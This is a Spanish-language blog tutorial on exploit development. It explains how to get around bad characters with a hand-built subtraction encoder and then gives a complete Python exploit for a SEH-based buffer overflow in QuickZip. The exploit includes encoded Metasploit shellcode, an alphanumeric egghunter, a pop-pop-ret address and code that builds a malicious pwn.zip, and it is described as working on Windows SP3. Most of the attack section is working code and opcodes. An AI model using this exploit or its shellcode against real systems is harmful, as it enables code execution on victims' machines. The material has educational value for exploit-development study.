miércoles, 17 de abril de 2013

Desarrollo de exploits: Problemas serios con badchars.


Si alguna vez os habéis puesto con desarrollo de exploits os resultará familiar este tema.
Los badchars son caracteres que hacen que nuestro exploit no funcione adecuadamente debido al funcionamiento de la aplicación.

Por poner un ejemplo, si el binario a explotar utiliza la función strcpy entonces como sabemos el carácter \x00 indica el fin de línea. Por lo que si insertamos nuestra shellcode con un carácter \x00 no la seguirá ejecutando y nos estropeará por completo el exploit. 

"Encodeamos" los payloads y punto. ¿Seguro? Pues esto está bien cuando tenemos los badchars típicos como \x00, \x0d etc. Pero ¿Y cuando tenemos muchos badchars? ¿Y si entre esos badchars tenemos  algunos de caracteres imprimibles?. Pues que metasploit y sus maravillosos encoders dirán algo como esto:



En este caso tenemos otras alternativas como un encoder que hay publicado que encodea en caracteres imprimibles ascii, muy útil en algunos casos. Para encodear una shellcode con este encoder se hace de la siguiente manera:


Como vemos se le pasa el registro base y las opciones que queramos ademas de meterle como input lo que queremos encodear.

¿Qué es el registro base? Bien, este encoder funciona así. Para "desencodear" la shellcode y ejecutarla lo que necesita es tener en este registro base, en este caso eax, la dirección de memoria donde empieza la shellcode. Debemos de realizar las operaciones necesarias dejando en eax finalmente la dirección de memoria donde empiece nuestra shellcode y éste la "desencodeará".
Como hemos dicho antes, esto es un encoder de caracteres con letras y números  Genial. Y si tenemos que alguna de las letras o números también es un badchar? Pues está la cosa un poco complicada.

Debemos de crearnos nuestro propio encoder. Existe una técnica que vamos a explicar a continuación. A grandes rasgos la técnica consiste en mediante operaciones matemáticas llegar a guardar en la pila los opcodes de la shellcode que queramos ejecutar.

Esto se hace de la siguiente manera:
Pongamos el ejemplo de queremos escribir las siguientes instrucciones en la pila y que forman parte de nuestra shellcode/egghunter:
Add eax, 200h
jmp esp

Estos opcodes son : \x81\xc0\x00\x02\x00\x00\xff\xe4
Supongamos que tenemos como badchar el \x81,\xc0.

No podemos meterlos así en el exploit. Entonces lo que haremos será "encodearlos" con una técnica de restas hexadecimales.El motivo de usar restas es por que en este caso el opcode para la instrucción ADD de suma es un badchar y no es posible utilizarlo.

Lo primero que hacemos es separar las instrucciones en grupos de 4 bytes. En este caso:

\x81\xc0\x00\x02
\x00\x00\xff\xe4


Ahora lo que se hace es empezar desde el ultimo valor hacia el primero ya que vamos a pushearlos en la pila:
\x00\x00\xff\xe4:


Lo ponemos para little endian --> \xe4\xff\x00\x00

Despues se realiza la siguiente operación (2º complemento): 0xFFFFFFFF - 0xe4ff0000 +1  =  0x1B010000 

Ahora necesitamos encontrar tres números con los caracteres que no son badchars que entre ellos sumen ese valor. Para calcular estos valores lo que hacemos es dividirlo entre tres:

0x1B010000/3 = 0x90055555

Si ahora sumamos estos valores:

90055555
90055555+
90055555
--------------
1B00FFFF

Ahora lo que hacemos es recalcular:
    1 1111    ***
90055555
90055555+
90055556
-------------
1B0100000

*** Los numeros 1 de arriba son los acarreos. (sumas hexadecimales)

Supongamos que el 90 es un badchar pues volveriamos a recalcular por ejemplo asi:
 
5E555555
5E555555+
5E565556
--------------
1B010000

Hacemos lo mismo con el otro valor y nos queda:

54546A2A
54546A2A+
55566B2B
---------------
FDFF3F7F

Finalmente se coloca todo de la siguiente manera:


encode = (
"\x25\x4a\x4d\x4e\x55"    #AND EAX,554E4D4A
"\x25\x35\x32\x31\x2a"   #AND EAX, 2a313235 .Con estas operaciones ponemos a 0 el registro eax.
"\x2d\x55\x55\x55\x5e"   #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x55\x55\x55\x5e"   #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x56\x55\x56\x5e"    #operaciones matematicas sobre eax (sub en este caso)
"\x50"                                  #guardamos en la pila eax
"\x25\x4a\x4d\x4e\x55"     #ponemos a cero eax
"\x25\x35\x32\x31\x2a"    #ponemos a cero eax
"\x2d\x2a\x6a\x54\x54"     #operaciones matematicas sobre eax (sub en este caso) 
"\x2d\x2a\x6a\x54\x54"     #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x2b\x6b\x56\x55"     #operaciones matematicas sobre eax (sub en este caso)
"\x50"                              guardamos eax en la pila.   
)


Cómo este cálculo es algo engorroso pues el amigo CorelanC0der lo que hizo fue incluirlo en su script pvefindaddr (la versión mas nueva mona.py parece que no incluye esta funcionalidad), el cuál ayuda muchísimo cuando te encuentras con badchars.
!pvefindaddr encode ascii 81c000020000ffe4


La caña verdad? Mejor aún. Si nos encontramos que nos devuelve algún carácter badchar, tan fácil como lo
siguiente:
!pvefindaddr encode ascii 81c000020000ffe4 5e
Donde 5e seria nuestro badchar que no nos vale:


El script de pvefindaddr es algo dificil de encontrar hoy en dia por lo que lo colgamos aqui:
https://www.dropbox.com/s/2o6yfavsf9stec8/pvefindaddr.py

Vamos a ver como toma forma lo explicado anteriormente de manera práctica en un exploit:

Por ponernos en materia. El software vulnerable se trata de QuickZip y la vulnerabilidad consiste en un SEH based overflow. 

Desde el siguiente POC: 

#!/usr/bin/python

local_file_header = (

"\x50\x4B\x03\x04"   #local file header signature (4bytes)
"\x14\x00"           #version needed to extract   (2 bytes)
"\x00\x00"           #general purpose bit flag    (2 bytes)
"\x00\x00"           #compresion method      (2 bytes)
"\xB7\xAC"           #last mod file time     (2 bytes)
"\xCE\x34"           #last mod file date     (2 bytes)
"\x00\x00\x00\x00"   #crc-32        (4 bytes)
"\x00\x00\x00\x00"   #compressed size (4 bytes)
"\x00\x00\x00\xe4"   #uncompressed size (4 bytes)
"\x0f\x00"           #file name lenght    (2 bytes)(variable size)
"\x00\x00"           #extra field length  (2 bytes)(variable size)
)

central_file_header = (
"\x50\x4B\x01\x02"    #central file header signature (4 bytes)
"\x14\x00"            #version made by  (2 bytes)
"\x14\x00"            #version needed to extract (2 bytes)
"\x00\x00"            #general purpose but flag (2 bytes)
"\x00\x00"            #compression method  (2 bytes)
"\xB7\xAC"            #last mod file time  (2 bytes)
"\xCE\x34"            #last mod file date  (2 bytes)
"\x00\x00\x00\x00"    #crc-32      (4 bytes)
"\x00\x00\x00\x00"    #compressed size  (4 bytes)
"\x00\x00\x00\x00"    #uncompressed size (4 bytes)
"\xe4\x0f"            #file name length    (2 bytes)  (variable size)
"\x00\x00"            #extra field length   (2 bytes) (variable size)
"\x00\x00"            #file comment lenght   (2 bytes)(variable size)
"\x00\x00"            #disk number start    (2 bytes)
"\x01\x00"            #internal file atributes  (2 bytes)
"\x24\x00\x00\x00"    #external file atributes (4 bytes)
"\x00\x00\x00\x00"    #relative offset of local header (4 bytes)
)

end_of_central_directory = (
"\x50\x4B\x05\x06"    #end of central dir signature  (4 bytes)
"\x00\x00"            #number of this disk  (2 bytes)
"\x00\x00"            #number of the disk with the start of the central directory (2 bytes)
"\x01\x00"            #total number of entries in the central directory on this disk (2 bytes)
"\x01\x00"            #total number of entries in the central directory (2 bytes)
"\x12\x10\x00\x00"    #size of the central directory  (4 bytes)
"\x02\x10\x00\x00"    #offset of start of central directory with respect to the starting disk (4 bytes) number
"\x00\x00"            #.zip file comment length      (2 bytes) (variable size)
)

buff = "A" * 4064 + ".txt"
 
mefile = open('pwn.zip','w');
mefile.write(local_file_header + buff + central_file_header + buff + end_of_central_directory);
mefile.close()

Abrimos el quickzip con nuestre debugger favorito y observamos como se trata de un seh based overflow, y que si pasamos la excepción con shift+f9 sobrescribiramos EIP:




Lo primero que debemos es calcular el offset en el cual conseguiremos manipular eip a nuestro antijo y como SEH Based overflow que es, debemos buscar un pop pop retn. Podemos hacerlo con mona así

Primero creamos el pattern con¡mona pc 4064:




Posteriormente buscamos un pop pop ret con ¡mona seh:
#pop pop ret quickzip 00407A33.

Una vez que insertamos las instruccion 00407a33 al meter el nullbyte no nos queda espacio para saltar hacia delente, por lo que tenemos que saltar hacia atrás:




Como tenemos muy poco espacio solo cabrá un egghunter por lo que vamos a ver si tenemos por ahí la shellcode en memoria, para ello creamos una shellcode de prueba con un patrón delante (w00tw00t) como viene siendo habitual:



Una vez que conseguimos el crash lo que haremos será comparar con mona en la memoria de la siguiente manera:
¡mona compare –f C:\shellcode.bin
Con este comando buscamos si nuestra shellcode se encuentra sin modificar en la memoria, si esto es así podremos con un egghunter buscarla y saltar hacia ella:



Parece que se encuentra sin problemas. También podemos buscarla con:
¡mona find –ascii w00tw00t



Una vez que tenemos esto lo que haremos será saltar hacia atrás y ejecutar el egghunter.La aplicación solo acepta carácteres alfanúmericos, por lo que tenemos que utilizar algun encoder.
Podemos encodearlo con el encoder alpha de metasploit como se muestra a continuación:


O con la aplicación alpha2:



Como vemos durante la ejecución vemos que va a dar un salto hacia atrás de pocos bytes, y luego desde ahí haremos un salto a nuestro egghunter encodeado, ya que tenemos que insertar las siguientes instrucciones:

#add ebp,0x43E
Esto en ensamblador queda \x81\xc5\x3e\x04\x00\x00\xff\xe5

Ahora vamos a hacer lo mismo pero vamos a usar la técnica del encoder propio con las operaciones matemáticas visto en este exploit


Tras diversas operaciones de alineamiento de esp y otros problemas tendremos un exploit "encodeado" y funcionando para windows sp3

#!/usr/bin/python

local_file_header = (

"\x50\x4B\x03\x04"   #local file header signature (4bytes)
"\x14\x00"           #version needed to extract   (2 bytes)
"\x00\x00"           #general purpose bit flag    (2 bytes)
"\x00\x00"           #compresion method      (2 bytes)
"\xB7\xAC"           #last mod file time     (2 bytes)
"\xCE\x34"           #last mod file date     (2 bytes)
"\x00\x00\x00\x00"   #crc-32        (4 bytes)
"\x00\x00\x00\x00"   #compressed size (4 bytes)
"\x00\x00\x00\xe4"   #uncompressed size (4 bytes)
"\x0f\x00"           #file name lenght    (2 bytes)(variable size)
"\x00\x00"           #extra field length  (2 bytes)(variable size)
)

central_file_header = (
"\x50\x4B\x01\x02"    #central file header signature (4 bytes)
"\x14\x00"            #version made by  (2 bytes)
"\x14\x00"            #version needed to extract (2 bytes)
"\x00\x00"            #general purpose but flag (2 bytes)
"\x00\x00"            #compression method  (2 bytes)
"\xB7\xAC"            #last mod file time  (2 bytes)
"\xCE\x34"            #last mod file date  (2 bytes)
"\x00\x00\x00\x00"    #crc-32      (4 bytes)
"\x00\x00\x00\x00"    #compressed size  (4 bytes)
"\x00\x00\x00\x00"    #uncompressed size (4 bytes)
"\xe4\x0f"            #file name length    (2 bytes)  (variable size)
"\x00\x00"            #extra field length   (2 bytes) (variable size)
"\x00\x00"            #file comment lenght   (2 bytes)(variable size)
"\x00\x00"            #disk number start    (2 bytes)
"\x01\x00"            #internal file atributes  (2 bytes)
"\x24\x00\x00\x00"    #external file atributes (4 bytes)
"\x00\x00\x00\x00"    #relative offset of local header (4 bytes)
)

end_of_central_directory = (
"\x50\x4B\x05\x06"    #end of central dir signature  (4 bytes)
"\x00\x00"            #number of this disk  (2 bytes)
"\x00\x00"            #number of the disk with the start of the central directory (2 bytes)
"\x01\x00"            #total number of entries in the central directory on this disk (2 bytes)
"\x01\x00"            #total number of entries in the central directory (2 bytes)
"\x12\x10\x00\x00"    #size of the central directory  (4 bytes)
"\x02\x10\x00\x00"    #offset of start of central directory with respect to the starting disk (4 bytes) number
"\x00\x00"            #.zip file comment length      (2 bytes) (variable size)
)

#msfencode -e x86/alpha_upper -i shell -t perl [*] x86/alpha_upper succeeded with size 696 (iteration=1)
shellcode = (
"w00tw00t"
"\x89\xe3\xd9\xee\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43"
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58"
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42"
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48"
"\x4b\x39\x45\x50\x45\x50\x45\x50\x35\x30\x4b\x39\x5a\x45"
"\x36\x51\x38\x52\x43\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b"
"\x31\x42\x44\x4c\x4c\x4b\x56\x32\x35\x44\x4c\x4b\x44\x32"
"\x46\x48\x34\x4f\x58\x37\x50\x4a\x47\x56\x36\x51\x4b\x4f"
"\x50\x31\x39\x50\x4e\x4c\x47\x4c\x43\x51\x53\x4c\x33\x32"
"\x56\x4c\x57\x50\x49\x51\x58\x4f\x44\x4d\x43\x31\x39\x57"
"\x4b\x52\x4c\x30\x36\x32\x36\x37\x4c\x4b\x31\x42\x44\x50"
"\x4c\x4b\x31\x52\x57\x4c\x45\x51\x48\x50\x4c\x4b\x57\x30"
"\x43\x48\x4b\x35\x59\x50\x54\x34\x30\x4a\x45\x51\x48\x50"
"\x36\x30\x4c\x4b\x47\x38\x32\x38\x4c\x4b\x56\x38\x47\x50"
"\x35\x51\x4e\x33\x5a\x43\x37\x4c\x57\x39\x4c\x4b\x36\x54"
"\x4c\x4b\x55\x51\x58\x56\x56\x51\x4b\x4f\x56\x51\x39\x50"
"\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x55\x51\x38\x47\x37\x48"
"\x4b\x50\x54\x35\x4a\x54\x45\x53\x43\x4d\x4c\x38\x37\x4b"
"\x33\x4d\x56\x44\x42\x55\x4d\x32\x36\x38\x4c\x4b\x31\x48"
"\x31\x34\x33\x31\x48\x53\x55\x36\x4c\x4b\x34\x4c\x30\x4b"
"\x4c\x4b\x56\x38\x35\x4c\x33\x31\x39\x43\x4c\x4b\x34\x44"
"\x4c\x4b\x43\x31\x38\x50\x4d\x59\x37\x34\x56\x44\x37\x54"
"\x31\x4b\x51\x4b\x53\x51\x50\x59\x50\x5a\x50\x51\x4b\x4f"
"\x4d\x30\x30\x58\x31\x4f\x50\x5a\x4c\x4b\x44\x52\x5a\x4b"
"\x4b\x36\x31\x4d\x55\x38\x50\x33\x36\x52\x55\x50\x45\x50"
"\x35\x38\x43\x47\x32\x53\x46\x52\x31\x4f\x31\x44\x32\x48"
"\x50\x4c\x33\x47\x31\x36\x43\x37\x4b\x4f\x39\x45\x48\x38"
"\x4c\x50\x43\x31\x53\x30\x55\x50\x51\x39\x59\x54\x36\x34"
"\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x55\x50\x4b\x4f"
"\x58\x55\x56\x30\x46\x30\x56\x30\x50\x50\x31\x50\x50\x50"
"\x51\x50\x56\x30\x35\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30"
"\x4b\x4f\x49\x45\x4c\x49\x38\x47\x53\x58\x39\x50\x39\x38"
"\x33\x31\x46\x5a\x55\x38\x33\x32\x45\x50\x53\x31\x4f\x4b"
"\x4c\x49\x5a\x46\x32\x4a\x32\x30\x46\x36\x36\x37\x52\x48"
"\x4c\x59\x59\x35\x44\x34\x55\x31\x4b\x4f\x38\x55\x53\x58"
"\x35\x33\x42\x4d\x53\x54\x43\x30\x4d\x59\x4b\x53\x30\x57"
"\x46\x37\x50\x57\x50\x31\x4c\x36\x42\x4a\x44\x52\x31\x49"
"\x46\x36\x4a\x42\x4b\x4d\x42\x46\x48\x47\x57\x34\x31\x34"
"\x47\x4c\x55\x51\x43\x31\x4c\x4d\x57\x34\x31\x34\x54\x50"
"\x58\x46\x43\x30\x47\x34\x31\x44\x50\x50\x30\x56\x51\x46"
"\x50\x56\x51\x56\x46\x36\x30\x4e\x31\x46\x46\x36\x51\x43"
"\x31\x46\x52\x48\x43\x49\x38\x4c\x37\x4f\x4b\x36\x4b\x4f"
"\x39\x45\x4d\x59\x4b\x50\x50\x4e\x31\x46\x30\x46\x4b\x4f"
"\x46\x50\x32\x48\x55\x58\x4b\x37\x45\x4d\x55\x30\x4b\x4f"
"\x58\x55\x4f\x4b\x4a\x50\x48\x35\x39\x32\x36\x36\x33\x58"
"\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35\x37\x4c"
"\x44\x46\x33\x4c\x54\x4a\x4b\x30\x4b\x4b\x4d\x30\x43\x45"
"\x45\x55\x4f\x4b\x30\x47\x42\x33\x44\x32\x42\x4f\x43\x5a"
"\x33\x30\x50\x53\x4b\x4f\x38\x55\x41\x41"
)

print "La longitud de la shellcode es: %i" %len(shellcode)

# muy importante si el nombre del fichero no son 4064 bytes exactamente no rula :P
# offset 298 (seh) 4064-302

#pop pop ret 00407A33 file not found didn't work
#hacemos un salto para atras con los bytes que tenemos y condicionales
#FFFFFC18

#egghunter usando alpha skynet base address ebp
egghunter = (
"UYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2"
"BB0BBXP8ACJJI3VMQYZKODOPBV2SZC2V88MFNGL35PZRTJ"
"O88T76PVPBTLKKJNOCEKZNOBUZGKOKWA"
)

print "La longitud del egghunter es: %i" %len(egghunter)

#inicio del egghunter 0012FAD6
#observamos que entre EBP y el egghunter hay 1086 bytes que son 43E bytes por lo que:
#add ebp,0x43E, jmp ebp (de esta manera tendremos en eax la direccion de memoria de nuestro egghunter)
#Full opcode : \x81\xc5\x3e\x04\x00\x00\xff\xe5


jumpencod = (
"\x58\x58\x58\x58\x50\x5c"   # popeax*4 , push eax, pop esp
"\x25\x4A\x4D\x4E\x55"
"\x25\x35\x32\x31\x2A"
"\x2D\x55\x55\x55\x5E"
"\x2D\x55\x55\x55\x5E"
"\x2D\x56\x55\x56\x5D"
"\x50"
"\x25\x4A\x4D\x4E\x55"
"\x25\x35\x32\x31\x2A"
"\x2D\x2A\x68\x40\x53"
"\x2D\x2A\x69\x40\x54"
"\x2D\x2B\x69\x40\x54"
"\x50"
)

#El salto hacia atras es de 86 bytes para ejecutar nuestro codigo encodeado

print "La longitud del salto encodeado es: %i" %len(jumpencod)

buff = egghunter + "A" * 84 + jumpencod + "A" * 28 + "\x74\xf9\xff\xff" + "\x33\x7a\x40\x00" + shellcode + "C" * 3058 + ".txt"
 
mefile = open('pwn.zip','w');
mefile.write(local_file_header + buff + central_file_header + buff + end_of_central_directory);
mefile.close()

print "Escribiendo shellcode"
mefile = open('C:\shellcode.bin','w');
mefile.write(shellcode)
mefile.close()

1 comentario:

  1. excelente articulo bro sos el mejor que he visto ..please deame su skype thanks

    ResponderEliminar